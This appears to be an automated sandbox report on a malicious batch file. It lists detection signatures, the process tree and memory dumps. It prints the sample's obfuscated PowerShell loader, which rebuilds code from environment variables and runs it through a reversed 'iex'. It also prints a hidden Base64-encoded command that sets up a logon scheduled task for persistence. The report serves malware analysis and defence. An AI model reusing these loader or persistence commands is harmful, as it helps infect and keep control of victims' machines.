Analysis
- user interaction
yes - max time kernel
149s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
10/11/2026, 13:26
General
- Target brother.bat
- Size 4.2MB
- Sample261110-qpyt7aff69
- SHA256 62fa2a463efdbda556bf2494f868519d362af30330fe4c968950286e647b81d6
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Drops file in System32 directory 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\brother.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Co "$Hq=$env:ty0+$env:ty1+$env:ty2+$env:ty3+$env:ty4+$env:ty5+$env:ty6+$env:ty7+$env:ty8+$env:ty9+$env:ty10;$env:TunTqoTobK=$Hq;$YoB='x'+'ei';$Hq|&($YoB[2]+$YoB[1]+$YoB[0])"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$z=$env:TunTqoTobK;$aR='x'+'ie';& ($aR[1]+$aR[2]+$aR[0]) $z"3⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -NonInteractive -EncodedCommand JAB0ACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcAbwBuADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAGkAVgBoAGgAQQBQAFQAUwBEAEMAUQAnACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBjAG0AZAAuAGUAeABlACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALwBjACAAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEEAegBWAFEAaABnAFkAZgBBAEsAYwBcAEEAegBWAFEAaABnAFkAZgBBAEsAYwAuAGIAYQB0ACIAJwApACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ASABpAGQAZABlAG4AIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAMAApACAALQBGAG8AcgBjAGUA4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_zkosjrg1.234.psm1
memory/692-25-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-24-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-40-0x0000015EF6960000-0x0000015EF6968000-memory.dmp
memory/692-38-0x0000015EF6CE0000-0x0000015EF6D98000-memory.dmp
memory/692-39-0x0000015EF6A30000-0x0000015EF6A46000-memory.dmp
memory/692-26-0x0000015EF6980000-0x0000015EF6A2C000-memory.dmp
memory/692-19-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-41-0x0000015EF6A50000-0x0000015EF6A9C000-memory.dmp
memory/692-23-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-22-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-15-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-43-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-44-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-20-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/692-21-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-10-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-8-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-13-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-11-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-0-0x00007FFDD535F000-0x00007FFDD5360000-memory.dmp
memory/1396-9-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-3-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-4-0x0000029A6FD70000-0x0000029A6FD92000-memory.dmp
memory/1396-5-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-6-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-14-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/1396-7-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp
memory/4664-36-0x000002C2603A0000-0x000002C2603BE000-memory.dmp
memory/4664-33-0x000002C25FF40000-0x000002C25FF5E000-memory.dmp
memory/4664-35-0x000002C25FEC0000-0x000002C25FECA000-memory.dmp
memory/4664-34-0x000002C25FF60000-0x000002C260012000-memory.dmp